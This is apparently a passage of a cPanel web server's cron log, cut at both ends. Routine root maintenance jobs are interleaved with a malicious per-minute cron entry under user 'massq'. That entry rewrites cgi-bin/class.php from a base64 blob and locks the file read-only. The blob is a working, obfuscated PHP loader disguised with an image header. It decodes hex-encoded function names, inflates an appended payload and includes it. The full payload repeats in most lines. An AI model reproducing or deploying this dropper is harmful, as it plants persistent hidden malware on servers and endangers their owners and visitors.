JHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:52:01 server CROND[8276]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:53:01 server CROND[8660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:53:01 server CROND[8661]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:53:01 server CROND[8662]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:54:01 server CROND[9114]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:54:01 server CROND[9115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:54:01 server CROND[9116]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:55:01 server CROND[9498]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 02:55:01 server CROND[9500]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:55:01 server CROND[9506]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 02:55:01 server CROND[9505]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 02:55:01 server CROND[9510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:55:01 server CROND[9507]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:55:01 server CROND[9512]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 02:56:01 server CROND[10332]: (root) CMD (/usr/local/cpanel/bin/process_ssl_reissue)
Sep  4 02:56:01 server CROND[10333]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:56:01 server CROND[10334]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:56:01 server CROND[10339]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:57:01 server CROND[10706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:57:01 server CROND[10707]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:57:01 server CROND[10705]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 02:57:01 server CROND[10708]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:58:01 server CROND[11076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:58:01 server CROND[11077]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:58:01 server CROND[11078]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:59:01 server CROND[11552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:59:01 server CROND[11553]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:59:01 server CROND[11555]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:59:01 server CROND[11554]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
Sep  4 03:00:01 server CROND[11950]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:00:01 server CROND[11957]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 03:00:01 server CROND[11961]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 03:00:01 server CROND[11960]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 03:00:01 server CROND[11963]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  4 03:00:01 server CROND[11962]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:00:01 server CROND[11958]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 03:00:01 server CROND[11964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:00:01 server CROND[11959]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 03:01:01 server CROND[12846]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:01:01 server CROND[12847]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 03:01:01 server CROND[12848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:01:01 server CROND[12849]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:01:01 server run-parts(/etc/cron.hourly)[12847]: starting 0anacron
Sep  4 03:01:01 server anacron[12869]: Anacron started on 2026-09-04
Sep  4 03:01:01 server run-parts(/etc/cron.hourly)[12871]: finished 0anacron
Sep  4 03:01:01 server anacron[12869]: Will run job `cron.daily' in 34 min.
Sep  4 03:01:01 server anacron[12869]: Jobs will be executed sequentially
Sep  4 03:02:01 server CROND[13254]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:02:01 server CROND[13255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:02:01 server CROND[13256]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:03:01 server CROND[13635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:03:01 server CROND[13636]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:03:01 server CROND[13637]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:04:01 server CROND[14123]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:04:01 server CROND[14124]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJf